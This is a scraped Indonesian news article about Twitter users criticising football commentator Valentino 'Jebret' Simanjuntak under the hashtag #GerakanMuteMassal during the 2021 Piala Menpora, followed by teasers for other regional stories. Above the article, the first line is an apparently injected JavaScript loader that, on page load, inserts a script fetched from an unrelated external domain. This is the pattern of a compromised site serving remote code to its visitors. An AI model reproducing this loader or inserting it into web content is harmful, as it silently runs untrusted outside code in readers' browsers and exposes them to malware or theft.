(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Media sosial Twitter sedang diramaikan dengan tagar #GerakanMuteMassal terkait dengan penyelenggaraan turnamen sepak bola piala Kemenpora. Akibatnya, sosok komentator Valentino ‘Jebret’ Seimanjuntak menjadi sorotan publik.
Para pecinta sepak bola tanah air menmgaku merasa kecewa dengan cara Valentino menjalankan pekerjaannya sebagai komentator.
Sebagian besar dari mereka menilai Valentino memberikan komentar kurang sesuai dengan konteks pertandingan sepak bola dan lebih sering berteriak-teriak mengeluarkan istilah-istilah kekinian.
Berikut ini adalah beberapa kritik dan sindiran yang dilontarkan warganet untuk Valentino.
Baca Juga:
Berkunjung ke Wisata Air Terjun JBT yang Viral, Ini Komentar Hj Nurgita Tiyas
1. Disindir banyak hiperbola
Akun Twitter @BaliUtd mengunggah sebuah cuitan yang diduga kuat menyindir Valentino. Cuitan tersebut meminta pihak stasiun tv yang menyiarkan turnamen untuk mengurangi kalimat-kalimat hiperbola dari sang komentator.
“@Indosiar rikues besok jangan terlalu banyak hiperbola,” tulis akun tersebut.
Hal ini ternyata diketahui oleh Valentino. Ia lantas mengunggah ulang cuitan tersebut dan memberikan tanggapan.
“Please jangan dihapus dong postingan twitternya,” tulis Valentino di akun Twitternya.
Baca Juga:
Simpan 14 Paket Sabu, JO Tak Berkutik Saat Dibekuk Sat Resnarkoba Polres HSU
Cuitan Valentino Jebret (twitter.com/@radotvalent)
2. Dinilai kurang mengedukasi
Akun Twitter @SerieA_Lawas juga menyampaikan kritik terhadap penampilan valentino sebagai komentator di turnamen tersebut. Dalam sebuah cuitan, akun tersebut juga mengunggah poster tentang gerakan mute massal.
“Karena sejatinya penikmat sepak bola juga butuh edukasi, bukan pendengar teriakan yang menimbulkan polusi,” bunyi tulisan dalam poster tersebut.
“Semoga @Indosiar @PSSI mendengar segala keresahan sebagian besar pencinta bola di Indonesia,” tulis akun @SerieA_Lawas.
3. Disindir lebih cocok bawakan acara hiburan
Selanjutnya, ada akun Twitter pengamat sepak bola @olandfatah yang juga menyinggung soal tagar tersebut.
Dalam cuitannya Oland menilai bahwa seorang komentator sepak bola seharusnya lebih banyak menyampaikan informasi dan edukasi ketimbang hiburan.
“Membawakan acara sepak bola di televisi itu 70% memberi info dan pembelajaran, 30% hiburan atau aksesoris. Jangan kebalik. Kalau kebalik mah mending bawain acara kaya Dahsyat. Full hiburan. Eh ini menurut saya loh yaa,” tulisnya.
4. Berharap ada audisi komentator
Akun Twitter @AndiePeci yang merupaka pentolan pendukun Persebaya juga menyampaikan cuitan dengan tagar yang sama. Ia berharap bahwa pihak stasiun tv bisa menggelar audisi komentator.
“#GerakanMuteMassal Indosiar sebaiknya bikin audisi cari komentator bola sajaaa yang berkualitas,” tulisnya.
5. Dibandingkan dengan komentator lain
Beberapa warganet lantas menyebut sosok komentator sepak bola yang mereka anggap bagus. Beberapa di antaranya ialah Bung Towel dan Bung Lesley Hutagalung.
“Komentator paling enak menurut gue ya Bung Towel sama Bung Lesley Hutagalung. Mengedukasi, paparannya jelas dan tepat sasaran soal sepak bola. Kalau bung Jebret lebih ke entertaiment, polanya menghibur. Tapi kalau mereka digabungin, cocok juga untuk kemasan Tv yang sekarang #GerakanMuteMassal,” tulis warganet dengan akun @aamiudik.
Baca juga:Â Rabbiansyah Bersyukur Digelar Vaksinasi Tahap II di Lingkungan DPRD Kotabaru
Terlepas dari viralnya tagar tersebut dan disorotnya sosok Valentino Jebret, Piala Menpora 2021 sudah memasuki babak semifinal. Empat tim yang berhasil lolos ialah PSM Makassar, Persija Jakarta, Persib Bandung, dan PSS Sleman. (suara.com)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.